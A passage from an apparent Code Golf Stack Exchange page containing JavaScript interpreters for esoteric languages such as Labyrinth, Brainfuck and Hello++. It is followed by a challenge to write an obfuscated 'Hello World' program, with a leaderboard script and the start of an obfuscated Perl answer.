executeSet(command); case 'generate': return executeGenerate(command); case 'replace': return executeReplace(command); case 'list': return executeList(command); case 'forvalues': return executeForvalues(command,ind); } } function executeForvalues(command,ind){ var re=/(\w+)=(.+)\((.+)\)(.+){/; var arr=re.exec(command[1]); if(arr==null){ outputError('invalid format to command forvalues: '+command[1]); return false; } var locName=evaluate(arr[1],0); var i=Number(evaluate(arr[2],0)); var increment=Number(evaluate(arr[3],0)); var maximum=evaluate(arr[4],0); console.log(locName+' '+i+' '+increment+' '+maximum); maximum=Number(maximum); var curInd=ind+1; for(;i<=maximum;i+=increment){ locals[locName]=i; globals['_'+locName]=i; for(curInd=ind+1;commands[curInd]!=='}';curInd++){ var entry=commands[curInd].match(/(?:[^\s"]+|"[^"]*")+/g); var tok = entry[0]; entry[0] = comTable[tok]; if (entry[0] === undefined) { error = tok + ' is not a recognized command'; outputError(error); return false; } console.log(entry); if(!execute(entry)){ return false; } console.log($output.val()); } } return curInd-ind; } function executeList(command){ var out='\t'+Object.keys(dataset).join('\t')+'\n'; for(var i=0;i<_N;i++){ out+=(i+1)+'\t'; Object.keys(dataset).forEach(function(element){ out+=dataset[element][i]===undefined?'.':dataset[element][i]+'\t'; }) out+='\n'; } $output.val(function(i,val){ return val+out; }); return 1; } function executeGenerate(command){ var parts=command[1].split('='); if(dataset[parts[0]]){ outputError('variable '+parts[0]+' already exists.'); return false; } dataset[parts[0]]=[]; for(var i=0;i<_N;i++){ dataset[parts[0]][i]=evaluateVariables(parts[1],i); } return 1; } function executeReplace(command){ var parts=command[1].split('='); if(!dataset[parts[0]]){ outputError('variable '+parts[0]+' does not exist.'); return false; } for(var i=0;i<_N;i++){ dataset[parts[0]][i]=evaluateVariables(parts[1],i); } return 1; } function evaluateVariables(str,i){ return eval(str.replace('_n',i+1)); } function executeSet(command){ if(opTable['set'][command[1]]=='obs'){ _N=parseInt(command[2],10); return 1; } outputError('invalid option for command set: '+command[1]); return false; } function executeLocal(command){ var parts=command[1].split('='); var name,value; if(parts.length==1){ var re0=/^\+\+(\w+)$/; var re1=/^--(\w+)$/; var re2=/^(\w+)\+\+$/; var re3=/^(\w+)--$/; var arr=re0.exec(parts[0])||re1.exec(parts[0])||re2.exec(parts[0])||re3.exec(parts[0]); if(arr!=null){ name=arr[1]; if(parts[0].indexOf('-')>-1){ value=globals[name]-1; } else{ value=globals[name]+1; } } else{ parts[1]=command[2]; } } if(!value){ value=evaluate(parts[1],0); } if(typeof value==='undefined'){ return false; } if(!name){ name=evaluate(parts[0]); } locals[name]=value; globals['_'+name]=value; return 1; } function executeGlobal(command){ var parts=command[1].split('='); var name,value; if(parts.length==1){ var re0=/^\+\+(\w+)$/; var re1=/^--(\w+)$/; var re2=/^(\w+)\+\+$/; var re3=/^(\w+)--$/; var arr=re0.exec(parts[0])||re1.exec(parts[0])||re2.exec(parts[0])||re3.exec(parts[0]); if(arr!=null){ name=arr[1]; if(parts[0].indexOf('-')>-1){ value=globals[name]-1; } else{ value=Number(globals[name])+1; } } else{ parts[1]=command[2]; } } if(!value){ value=evaluate(parts[1],0); } if(typeof value==='undefined'){ return false; } if(!name){ name=evaluate(parts[0]); } if(name.charAt(0)=='_'){ locals[name.substring(1)]=value; } globals[name]=value; return 1; } function executeDisplay(command){ for(var i=1;i<command.length;i++){ var comVal=command[i]; $output.val(function(ind,val){ var re=/^(\w+)/; var arr=re.exec(command[i]); if(arr!==null&&opTable['display'][arr[0]]=='_request'){ re=/^\w+\((\w+)\)/; arr=re.exec(command[i]); var input=getInput(); globals[arr[1]]=input; if(arr[1].charAt(0)=='_'){ locals[arr[1].substring(1)]=input; } return val; } return val+evaluate(command[i],0)+'\n'; }); } return 1; } function getInput(){ var x=inputs[inputNum]; inputNum++; return x; } function evaluate(str,captured){ str=String(str); var index=str.indexOf('"'); if(index==-1){ return evaluate2(str); } var secondIndex=str.indexOf('"',index+1); while(secondIndex>0&&str.charAt(secondIndex-1)=='\\'){ secondIndex=str.indexOf('"',secondIndex+1); } if(secondIndex<0){ if(!captured){ var error ='unmatched quotes'; outputError(error); return undefined; } return ''; } return (index>0?evaluate2(str.substring(0,index)):'')+evaluate2(str.substring(index,secondIndex+1))+(secondIndex<str.length-1?evaluate(str.substring(secondIndex)):''); } function evaluate2(str){ var index=str.indexOf('`'); if(index==-1){ return evaluate3(str); } var secondIndex=str.indexOf('\'',index+1); while(secondIndex>0&&str.charAt(secondIndex-1)=='\\'){ secondIndex=str.indexOf('\'',secondIndex+1); } if(secondIndex<0){ return evaluate3(str); } var value=locals[str.substring(index+1,secondIndex)]; if(typeof value==='undefined'){ value=''; } return evaluate((index>0?str.substring(0,index):'')+value+(secondIndex<str.length-1?str.substring(secondIndex+1):'')); } function evaluate3(str){ var re=/\$(\w+)/; var arr=re.exec(str); if(arr!==null){ var index=arr.index; var length=arr[0].length; var value=globals[arr[1]]; str=str.substring(0,index)+value+str.substring(index+length); return evaluate(str); } try { var value=eval(str.replace('_N',_N)); return value; }catch(err){ console.log(str); return str; } } function evaluate4(str){ try { var value=eval(str); return value; }catch(err){ console.log(str); return undefined; } } function outputError(error) { $output.val(function(ind,val){ return val+error+'\n'; }); } </script> </body> </html> ``` [Answer] # [Labyrinth](https://github.com/mbuettner/labyrinth/) An interpreter for Labyrinth, a totally awesome language! (My interpreter doesn't have big integers...) ``` /*jshint esnext: true */ //Note labyrinth X Y are swapped! //Syntax highlighting? //Bigint library? //Use: https://developers.google.com/web/updates/2014/05/Web-Animations-element.animate-is-now-in-Chrome-36 //Save option //a => ASCII code (Explanation of the commands) var p; //pointer var labyrinth; //code var main, auxiliary; //stacks, main.length-1=top var direction; //N=0,E=1,S=2,W=3; var inpLoc; var sucide; var step; var debug; var spiders = false; var pointerIcons = ["▲", "►", "▼", "◄", "X"]; function mod(x, y) { return ((x % y) + y) % y; } Array.prototype.top = function() { if (this.length === 0) { return 0; } return this[this.length - 1]; }; Array.prototype._pop = Array.prototype.pop; Array.prototype.pop = function(x) { var temp = this._pop(); return temp !== undefined ? temp : 0; }; function reset() { p = [0, 0]; labyrinth = lab.innerHTML.replace(/\[/g, " ").replace(/\]/g, " ").replace(/&lt;/g, "<").replace(/&gt;/g, ">").replace(/\n*$|(<br>)*$/, "").split(/<br>|\n/g); var maxLength = 0; for (var i = 0; i < labyrinth.length; i++) { if (maxLength < labyrinth[i].length) maxLength = labyrinth[i].length; } for (i = 0; i < labyrinth.length; i++) { labyrinth[i] = (labyrinth[i] + " ".repeat(maxLength - labyrinth[i].length)).split(""); } //Pointer pos loop: for (i = 0; i < labyrinth.length; i++) { for (j = 0; j < labyrinth[i].length; j++) { if (labyrinth[i][j] !== " ") { p = [j, i]; break loop; } } } main = []; auxiliary = []; direction = 1; sucide = false; inpLoc = 0; step = 1; O.value = ""; } function run() { reset(); if (debug) { spiderContainer.innerHTML = ""; debugButton.disabled = false; lab.contentEditable = false; stepButton.disabled = false; } //Start if if (lab.innerHTML.replace(/\[/g, "").replace(/\]/g, "").replace(/<br>|\n/g, "") !== "") { if (!debug) { while (!sucide) { updatePointer(); } } else { updatePointer(); } } else { stepButton.disabled = "disabled"; lab.contentEditable = "true"; } } function updatePointer() { if (sucide) { stepButton.disabled = "disabled"; lab.contentEditable = "true"; pointerOverlay.innerHTML = ""; return -1; //End } stepDiv.innerHTML = step; step++; execChar(labyrinth[p[1]][p[0]]); var ret = updateDirection(); //If there are walls if (ret != -1) { direction = mod(direction, 4); if (direction === 0) { p[1] --; } else if (direction == 1) { p[0] ++; } else if (direction == 2) { p[1] ++; } else if (direction == 3) { p[0] --; } } deb.value = "Pointer: " + p + "\nCommand: " + labyrinth[p[1]][p[0]] + "\nMain [" + main + " | " + auxiliary.slice().reverse() + "] Auxiliary"; if (debug) { pointerOverlay.innerHTML = "\n".repeat(p[1]) + " ".repeat(p[0]) + (pointerIcons[ret == -1 ? 4 : direction]); } } function updateGrid() { lab.innerHTML = ""; labyrinth.forEach(s => lab.innerHTML += s.join("") + "\n"); } function rotVert(rotWhich) { var temp; for (var i = 0; i < labyrinth.length; i++) { if (i === 0) { temp = labyrinth[0][rotWhich]; } if (i == labyrinth.length - 1) { labyrinth[i][rotWhich] = temp; } else { labyrinth[i][rotWhich] = labyrinth[i + 1][rotWhich]; } if (labyrinth[i][rotWhich] === undefined) { labyrinth[i].splice(rotWhich, 1); } } } function rotVert2(rotWhich) { var temp; for (var i = labyrinth.length - 1; i >= 0; i--) { if (i == labyrinth.length - 1) { temp = labyrinth[i][rotWhich]; } if (i === 0) { labyrinth[i][rotWhich] = temp; } else { labyrinth[i][rotWhich] = labyrinth[i - 1][rotWhich]; } if (labyrinth[i][rotWhich] === undefined) { labyrinth[i].splice(rotWhich, 1); } } } function lookAt(d) { if (mod(d, 4) === 0) { try { return labyrinth[p[1] - 1][p[0]]; } catch (e) { return " "; } } else if (mod(d, 4) == 1) { try { return labyrinth[p[1]][p[0] + 1]; } catch (e) { return " "; } } else if (mod(d, 4) == 2) { try { return labyrinth[p[1] + 1][p[0]]; } catch (e) { return " "; } } else if (mod(d, 4) == 3) { try { return labyrinth[p[1]][p[0] - 1]; } catch (e) { return " "; } } } function isWall(d) { if (lookAt(d) == " " || lookAt(d) === undefined) { return true; } else { return false; } } function updateDirection() { var numOfWalls = 0; if (!isWall(0)) { numOfWalls++; } if (!isWall(1)) { numOfWalls++; } if (!isWall(2)) { numOfWalls++; } if (!isWall(3)) { numOfWalls++; } if (numOfWalls == 4) { if (main.top() < 0) { direction -= 1; } else if (main.top() > 0) { direction += 1; } } else if (numOfWalls == 3) { if (main.top() < 0) { direction -= 1; } else if (main.top() > 0) { direction += 1; } if (isWall(direction)) { direction += 2; } } else if (numOfWalls == 2) { if (isWall(direction + 2)) { if (isWall(direction)) { //Special case if (main.top() < 0) { direction -= 1; } else if (main.top() > 0) { direction += 1; } else { direction += Math.random() < 0.5 ? -1 : 1; } } else { //Keep moving.. } } else { for (var i = 0; i <= 3; i++) { if (!isWall(i) && i != mod((direction + 2), 4)) { direction = i; break; } } } } else if (numOfWalls == 1) { if (!isWall(0)) { direction = 0; } else if (!isWall(1)) { direction = 1; } else if (!isWall(2)) { direction = 2; } else if (!isWall(3)) { direction = 3; } } else { return -1; } } function execChar(char) { var a; var b; if (/\d/.exec(char)) { main.push(main.pop() * 10 + (+char)); } else switch (char) { case '!': O.value += main.pop(); break; case '"': //Nothing... break; case '#': main.push(main.length); break; case '$': main.push(main.pop() ^ main.pop()); break; case '%': a = main.pop(); b = main.pop(); main.push(mod(b, a)); break; case '&': main.push(main.pop() & main.pop()); break; case "'": //Debug-Unimplemented break; case '(': main.push(main.pop() - 1); break; case ')': main.push(main.pop() + 1); break; case '*': main.push(main.pop() * main.pop()); break; case '+': main.push(main.pop() + main.pop()); break; case ',': a = I.value.charCodeAt(inpLoc); if (Number.isNaN(a)) { main.push(-1); } else { main.push(a); inpLoc++; } break; case '-': a = main.pop(); b = main.pop(); main.push(b - a); break; case '.': O.value += String.fromCharCode(mod(main.pop(), 256)); break; case '/': a = main.pop(); b = main.pop(); if (a === 0) { sucide = true; throw "Stop that"; } main.push(Math.floor(b / a)); break; case ':': main.push(main.top()); break; case ';': main.pop(); break; case '<': //MOVE IP b = main.pop(); a = mod(p[1] + b, labyrinth.length); labyrinth[a].push(labyrinth[a].shift()); updateGrid(); if (b === 0) { p[0] = mod(p[0] - 1, labyrinth[a].length); } break; case '=': a = main.pop(); b = auxiliary.pop(); main.push(b); auxiliary.push(a); break; case '>': //MOVE IP b = main.pop(); a = mod(p[1] + b, labyrinth.length); labyrinth[a].unshift(labyrinth[a].pop()); updateGrid(); if (b === 0) { p[0] = mod(p[0] + 1, labyrinth[a].length); } break; case '?': try { a = I.value.substr(inpLoc); b = (+(/[\+-]?\d+/.exec(a)[0])); main.push(b); inpLoc += a.search(/[\+-]?\d+/) + (b + "").length; } catch (e) { main.push(0); inpLoc = I.value.length; } break; case '@': sucide = true; break; case '\\': O.value += "\n"; break; case '^': //Fix! b = main.pop(); labyrinth = transpose(labyrinth); a = mod(p[0] + b, labyrinth[p[1]].length); labyrinth[a].unshift(labyrinth[a].pop()); if (b === 0) { p[1] = mod(p[1] - 1, labyrinth.length); } labyrinth = transpose(labyrinth); updateGrid(); break; case '_': main.push(0); break; case '`': main.push(-main.pop()); break; case 'v': //Fix! b = main.pop(); a = mod(p[0] + b, labyrinth[p[1]].length); rotVert2(a); updateGrid(); if (b === 0) { p[1] = mod(p[1] + 1, labyrinth.length); } break; case '{': main.push(auxiliary.pop()); break; case '|': main.push(main.pop() | main.pop()); break; case '}': auxiliary.push(main.pop()); break; case '~': main.push(~main.pop()); break; } } function transpose(array) { var newArray = array[0].map(function(col, i) { return array.map(function(row) { return row[i]; }); }); return newArray; } //Spiders function startDebug() { if (spiders && document.cookie.split("youWereHere=")[1] === undefined) { document.cookie = "youWereHere=yep"; debugButton.disabled = 'disabled'; var spiderImg = document.createElement('img'); spiderImg.src = "http://i.imgur.com/fsYfS9H.png"; //http://i.imgur.com/PRPmqMJ.gif spiderImg.className = "spider"; var svg = document.createElementNS('http://www.w3.org/2000/svg', 'line'); svg.setAttribute("stroke-width", 2); var rn = Math.random() * 10 + 5; for (var i = 0; i < rn; i++) { var tempSpider = spiderImg.cloneNode(true); var left = Math.min(Math.random() * innerWidth, innerWidth - 50); var top = -Math.random() * 300; tempSpider.style.left = left - 26 + "px"; tempSpider.style.top = top - 5 + "px"; var tempSvg = svg.cloneNode(true); tempSvg.setAttribute("y1", top - innerHeight - 100); tempSvg.setAttribute("y2", top); tempSvg.setAttribute("x1", left); tempSvg.setAttribute("x2", left); spiderContainer.appendChild(tempSpider); svgId.appendChild(tempSvg); // Make sure the initial state is applied. window.getComputedStyle(tempSpider).transform; // jshint ignore:line window.getComputedStyle(tempSvg).transform; // jshint ignore:line tempSpider.style.transform = "translateY(" + (innerHeight + 48 + top) + "px)"; tempSvg.style.transform = "translateY(" + (innerHeight + 48 + top) + "px)"; } setTimeout(fallDown, 2500); debug = true; setTimeout(run, 4000); } else { debug = true; run(); } } function fallDown() { svgId.innerHTML = ""; var spiders = document.getElementsByClassName("spider"); for (var i = 0; i < spiders.length; i++) { spiders[i].style.top = innerHeight + "px"; } } //Maze proper copy lab.addEventListener("paste", function(e) { // cancel paste e.preventDefault(); // get text representation of clipboard var text = e.clipboardData.getData("text/plain"); // insert text manually //document.execCommand("insertHTML", false, text); lab.innerHTML = text; }); ``` ``` body { background: #484848; } h3{ font-family: sans-serif; color: white; font-weight: bolder; margin: 6px; margin-bottom: 0px; } #inputHeader, #outputHeader, #debugHeader{ flex: 1; } #debugHeader{ display: none; } #deb { display: none; } .container { width: 100%; position: relative; display: flex; flex-flow: row wrap; } .container pre,textarea { flex: 1; min-height: 175px; background: #202020; color: white; border: #202020; margin: 6px; font: monospace; resize: vertical; } .container pre[contentEditable=false] { cursor: not-allowed; } #lab { width: 100%; min-height: 150px; } #pointerOverlay{ width: 100%; position: absolute; background: rgba(0,0,0,0); /*width: 100%;*/ resize: vertical; height: 200px; pointer-events: none; color: rgba(255,0,0,0.7); left: 0px; } button:not(.run) { vertical-align: top; border: #303030; color: white; font-weight: bold; font-size: 1em; letter-spacing: 1px; background: #303030; cursor: pointer; min-width: 100px; min-height: 45px; margin: 5px; line-height: 50px; } button:not(.run):hover { background: #202020; } button:not(.run)[disabled] { background: #404040; cursor: not-allowed; } .buttonImg{ width: 40px; vertical-align: middle; transform: translateX(-10px); } ``` ``` <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Labyrinth</title> </head> <body> <button onclick="debug=false; run(); deb.style.display = 'none'; debugHeader.style.display = 'none';"><img src="http://i.imgur.com/XvHQHX9.png" class="buttonImg">Run</button> <button id="debugButton" onclick="startDebug(); deb.style.display='flex'; debugHeader.style.display = 'flex';"><img src="http://i.imgur.com/Th4Kyvd.png" class="buttonImg">Debug</button> <button id="stepButton" onclick="updatePointer();" disabled>Step: <span id="stepDiv">1</span> </button> <button onclick="sucide = true; updatePointer();">Stop</button> <div class="container"> <h3>Maze:</h3> <div style="width:100%; margin: -6px;"></div> <pre id="pointerOverlay"></pre> <pre id="lab" contentEditable="true">,)@ .(</pre> <div style="width:100%;"></div> <h3 id="inputHeader">Input:</h3> <h3 id="outputHeader">Output:</h3> <h3 id="debugHeader">Debugging:</h3> <div style="width:100%"></div> <textarea id="I">Labyrinth rocks!</textarea> <textarea id="O"></textarea> <textarea id="deb"></textarea> </div> <svg width="100%" id="svgId"> </svg> <div id="spiderContainer"> </div> </body> </html> ``` Here is the most up-to-date version: <http://output.jsbin.com/cuzoxu> [Answer] # Fourier This is now a complete version of Fourier, translated directly from the Python. This should stay up to date. ``` <!DOCTYPE html> <html> <head> <title>FourIDE - Editor</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css"> <style> body { padding-left: 2em; background-color: gainsboro } textarea, input { font-family: Courier New; border: none } </style> </head> <body> <h1><a href="https://github.com/beta-decay/Fourier">Fourier</a> Interpreter</h1> <h3>Code:</h3> <textarea id="code" rows="4" oninput="javascript:chars()" cols="40"></textarea> <br/> Function: <select id="funcSelect"> <option value="exec">Execute code</option> <option value="expl">Explode code</option> <option value="debg">Debug code</option> </select> <br/> <h3>Input:</h3> <textarea id="input" rows="4" cols="40"></textarea> <br/><br/> <button id="run" onclick="javascript:main()">Engage</button> <button id="clear" onclick="javascript:clearText()">Clear</button> <br/> Character count: <span id="ccount">0</span> characters <h3>Output:</h3> <textarea id="output" readonly="readonly" rows="4" cols="40" style="cursor: default;"></textarea> <br/> <a href="javascript:getperma()">Get permalink</a> <br/> <h3>Character reference</h3> <h4>ASCII code reference</h4> <input id="charRef" cols="40" oninput="javascript:getCharCode()"> <br/> <input id="asciiRef" readonly="readonly" cols="40" style="background-color: #c2c2c2; cursor: default;"> <script src="https://rawgit.com/beta-decay/Fourier/master/javascript/editor.js"></script> <script src="https://rawgit.com/beta-decay/Fourier/master/javascript/debug.js"></script> <script src="https://rawgit.com/beta-decay/Fourier/master/javascript/interpreter.js"></script> <script> function main() { document.getElementById("output").style.color = "black"; choice = document.getElementById("funcSelect").value; if (choice == "exec") { interpreter(); } else if (choice == "debg") { debug(); } else { document.getElementById("output").value = "Sorry, those features are not ready yet"; } } </script> </body> </html> ``` ### See more: * **Esolangs page**: <http://esolangs.org/wiki/Fourier> * **Python interpreter**: <https://github.com/beta-decay/Fourier> * **Try it online**: <http://fourier.tryitonline.net> * **FourIDE**: <https://beta-decay.github.io/editor> [Answer] ## Unary (to Brainfuck) Simply converts [Unary](https://esolangs.org/wiki/Unary) to Brainfuck. This could very easily be coupled with one of the Brainfuck interpreters to run Unary code directly - no need to reinvent the wheel! ``` function interpret() { var result = ""; var table = "><+-.,[]" var option = document.getElementById("option").checked var code = document.getElementById("code").value var number = option ? parseInt(code, 10) : code.length; number = number.toString(2) if (number.length % 3 == 1) { number = number.slice(1) for (var i = 0; i < number.length; i += 3) { var instruction = number[i] + number[i + 1] + number[i + 2] instruction = parseInt(instruction, 2) result += table[instruction]; } } else { result = "Error: program binary cannot be split into triplets." } document.getElementById("result").value = result; } ``` ``` Input as Number of 0's <input id="option" type="checkbox" /> <br /> <br /> <input id="code" type="text" style="width:90%;" /> <br /> <br /> <input id="run" type="button" value="Run!" onclick="interpret()" /> <br /> <br /> <input id="result" type="text" style="width:90%;" /> ``` [Answer] # [Hello++](https://esolangs.org/wiki/Hello_Plus_Plus) The easiest language to implement AND learn! ``` <h1>Hello++ Interpreter</h1> <hr> <h2>Code</h2> <textarea id=c></textarea> <br> <button onclick='o.value="",c.value.replace(/[^h]/ig,"").split("").map(function($){$&&(o.value+="Hello World\n")})'>Say hello to the output!</button> <h2>Output</h2> <textarea id=o readonly></textarea> <style>*{font-family:monospace}textarea{width:100%}</style> ``` [Answer] # [CHIQRSX9+](http://esolangs.org/wiki/CHIQRSX9%2B) HQ9+ with Turing-completeness. I stuck as closely to the specs as possible. ``` function interpret(c,i){ c.split('').map(function(v,I){ if(v=='c'||v=='C')out.push(i); else if(v=='h'||v=='H')out.push('Hello, world!\n'); else if(v=='i'||v=='I')interpret(i,""); else if(v=='q'||v=='Q')out.push(c); else if(v=='r'||v=='R')out.push(i.replace(/[a-zA-Z]/g,function(C){return String.fromCharCode((C<="Z"?90:122)>=(C=C.charCodeAt(0)+13)?C:C-26);})); else if(v=='s'||v=='S')out.push(i.split('\n').sort().join('\n')); else if(v=='x'||v=='X')eval(c.split().join(0|Math.random()*256)); else if(v=='9')for(var o,e,n=100,t=" on the wall";n-->-1;)o=e+t+", "+e+".\n"+(n>-1?"Take one down, pass it around, ":"Go to the store and buy some more, ")+(e=(0>n?99:n||"no more")+" bottle"+(1!=n?"s":"")+" of beer")+t+".\n",99>n&&out.push(o); else if(v=='+')acc++; else out.push("\n\t!ERROR!\t\n"); }); return out.join('').match(/\n\t!ERROR!\t\n/g)?'ERROR: Unknown command':out.join('') } ``` ``` <h1>CHIQRSX9+ Interpreter</h1> <hr> <h2>Code</h2> <textarea id=c></textarea> <br> <h2>Input</h2> <textarea id=i></textarea> <br> <button onclick='out=[],acc=0;o.value=interpret(c.value,i.value)'>Run!</button> <h2>Output</h2> <textarea id=o readonly></textarea> <style>*{font-family:monospace}textarea{width:100%}</style> ``` [Answer] # [Neoscript](https://github.com/tuxcrafting/neoscript) **Only work on ES6 browsers** ``` "use strict"; function nodejswrapper(url) { let data = $.ajax({ type: "GET", url: url, async: false }).responseText; return new Function("let module={};" + data + "return module.exports;")(); } let tokenize, parse, transpile; function compile(code) { return transpile(parse(tokenize(code))); } console.log = function(msg) { $("#console").append((""+msg).replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;") + "<br />"); } console.clear = function(msg) { $("#console").html(""); } $(function() { tokenize = nodejswrapper("http://crossorigin.me/https://raw.githubusercontent.com/tuxcrafting/neoscript/master/src/tokenizer.js").tokenize; parse = nodejswrapper("http://crossorigin.me/https://raw.githubusercontent.com/tuxcrafting/neoscript/master/src/parser.js").parse; transpile = nodejswrapper("http://crossorigin.me/https://raw.githubusercontent.com/tuxcrafting/neoscript/master/src/transpilers/javascript.js").transpile; $("#run").on("click", function() { let code = $("#code").val(); let js = compile(code); new Function(js)(); }); }); ``` ``` #console { width: 400px; height: 400px; overflow: auto; background: black; color: white; float: right; font-family: monospace; } ``` ``` <script type="application/javascript" src="https://raw.githubusercontent.com/tuxcrafting/neoscript/master/src/stdlib/stdlib.js"></script> <script type="application/javascript" src="https://code.jquery.com/jquery-1.12.3.min.js"></script> <div id="console"></div> <textarea id="code" cols="40" rows="15"></textarea><br /> <button id="run">Run</button> ``` [Answer] # Brainfuck What, this is still code golf, r-r-right? On a serious note, I implemented a bunch of esoteric languages in javascript a while ago, feel free to use them, it is pretty much plug and play: <https://dl.dropboxusercontent.com/u/69377299/lang%20js/main.html> ``` function run () { var code = document.getElementById("code").value; var inp = document.getElementById("in").value; var ret = x(code, inp); document.getElementById("out").value = ret; } function B(s,i,c) { i+=1+-c*2 return s[i]==']['[+c]?i:B(s,s[i]==']['[+!c]?B(s,i,c):i,c) } function x(c, a) { var y, l=0, p=0, i=0, q=0, r='', t=[] for (; q<1000; q++) t[q] = 0 for (;i<c.length; i++) { y = c.charCodeAt(i) p -= (y==60) - (y==62) t[p] += y==44? (l>a.length? 0: a.charCodeAt(l++))-t[p]: -((y==45) - (y==43)) if (y==46) r += String.fromCharCode(t[p]) if (y==91 + (t[p]>0)*2) i = B(c,i,y==93) } return r; } ``` ``` Code: <input id="code"></input> <button onclick="run()">Run</button> <br> Input: <input id="in"></input> <br><br> Output: <input id="out" disabled></input> ``` [Answer] # [;# (Semicolon hash)](https://codegolf.stackexchange.com/questions/121921/make-a-interpreter) ``` function interpreter() { document.getElementById('out').innerHTML = '' acc = 0 s = document.getElementById('in').value for (let x of s) { if (x == ';') { acc++ } if (x == '#') { k = String.fromCharCode(acc % 127) f = document.getElementById('out').innerHTML document.getElementById('out').innerHTML = f + k acc = 0 } } } ``` ``` <h1>;# Interpreter</h1> <input type="text" id="in" value="" /> <input type="button" value="Run!" onclick="interpreter()" /> <br /><br /> <b>Output</b> <pre><span id='out'></span></pre> ``` My first ever JavaScript answer!!! ]
[Question] [ Create the shortest possible obfuscated program that displays the text "Hello World". In order to be considered an obfuscated program, it must meet **at least two** of the following requirements: * Does not contain the characters: `h`, `l`, `w` and `d` in any case * Does not contain the characters: `e`, `o`, `r`, `0`, and `1` in any case * Does not contain the characters: `2` or `7` **Input:** *none* **Output:** `Hello World` ## Leaderboard Here is a Stack Snippet to generate both a regular leaderboard and an overview of winners by language. ``` /* Configuration */ var QUESTION_ID = 307; // Obtain this from the url // It will be like https://XYZ.stackexchange.com/questions/QUESTION_ID/... on any question page var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; var COMMENT_FILTER = "!)Q2B_A2kjfAiU78X(md6BoYk"; var OVERRIDE_USER = 48934; // This should be the user ID of the challenge author. /* App */ var answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page; function answersUrl(index) { return "https://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + ANSWER_FILTER; } function commentUrl(index, answers) { return "https://api.stackexchange.com/2.2/answers/" + answers.join(';') + "/comments?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + COMMENT_FILTER; } function getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); answers_hash = []; answer_ids = []; data.items.forEach(function(a) { a.comments = []; var id = +a.share_link.match(/\d+/); answer_ids.push(id); answers_hash[id] = a; }); if (!data.has_more) more_answers = false; comment_page = 1; getComments(); } }); } function getComments() { jQuery.ajax({ url: commentUrl(comment_page++, answer_ids), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { data.items.forEach(function(c) { if (c.owner.user_id === OVERRIDE_USER) answers_hash[c.post_id].comments.push(c); }); if (data.has_more) getComments(); else if (more_answers) getAnswers(); else process(); } }); } getAnswers(); var SCORE_REG = /<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/; var OVERRIDE_REG = /^Override\s*header:\s*/i; function getAuthorName(a) { return a.owner.display_name; } function process() { var valid = []; answers.forEach(function(a) { var body = a.body; a.comments.forEach(function(c) { if(OVERRIDE_REG.test(c.body)) body = '<h1>' + c.body.replace(OVERRIDE_REG, '') + '</h1>'; }); var match = body.match(SCORE_REG); if (match) valid.push({ user: getAuthorName(a), size: +match[2], language: match[1], link: a.share_link, }); }); valid.sort(function (a, b) { var aB = a.size, bB = b.size; return aB - bB }); var languages = {}; var place = 1; var lastSize = null; var lastPlace = 1; valid.forEach(function (a) { if (a.size != lastSize) lastPlace = place; lastSize = a.size; ++place; var answer = jQuery("#answer-template").html(); answer = answer.replace("{{PLACE}}", lastPlace + ".") .replace("{{NAME}}", a.user) .replace("{{LANGUAGE}}", a.language) .replace("{{SIZE}}", a.size) .replace("{{LINK}}", a.link); answer = jQuery(answer); jQuery("#answers").append(answer); var lang = a.language; if (/<a/.test(lang)) lang = jQuery(lang).text(); languages[lang] = languages[lang] || {lang: a.language, user: a.user, size: a.size, link: a.link}; }); var langs = []; for (var lang in languages) if (languages.hasOwnProperty(lang)) langs.push(languages[lang]); langs.sort(function (a, b) { if (a.lang > b.lang) return 1; if (a.lang < b.lang) return -1; return 0; }); for (var i = 0; i < langs.length; ++i) { var language = jQuery("#language-template").html(); var lang = langs[i]; language = language.replace("{{LANGUAGE}}", lang.lang) .replace("{{NAME}}", lang.user) .replace("{{SIZE}}", lang.size) .replace("{{LINK}}", lang.link); language = jQuery(language); jQuery("#languages").append(language); } } ``` ``` body { text-align: left !important} #answer-list { padding: 10px; width: 290px; float: left; } #language-list { padding: 10px; width: 290px; float: left; } table thead { font-weight: bold; } table td { padding: 5px; } ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr> </thead> <tbody id="answers"> </tbody> </table> </div> <div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr> </thead> <tbody id="languages"> </tbody> </table> </div> <table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> ``` [Answer] # Perl Since the obvious answer uses shifting of some kind, I feel obligated to post something using [Acme::EyeDrops](http://p3rl.org/Acme::EyeDrops), however with the extra power I thought mine ought to be a little more fun. ``` ''=~('('."\?". '{'.('`'|'%').('['^'-' ).('`'|'!'). ("\`"| ',' ).'"'.('['^'.'). ((( '[' ))^'(').('`'|('%')).( '{' ^'[').('{'^'/').('`'|')') .+( '`'|'-').('`'|'%').':'.':'.( '`' ^'(').('`'|')').('{'^')').( '`' |(( 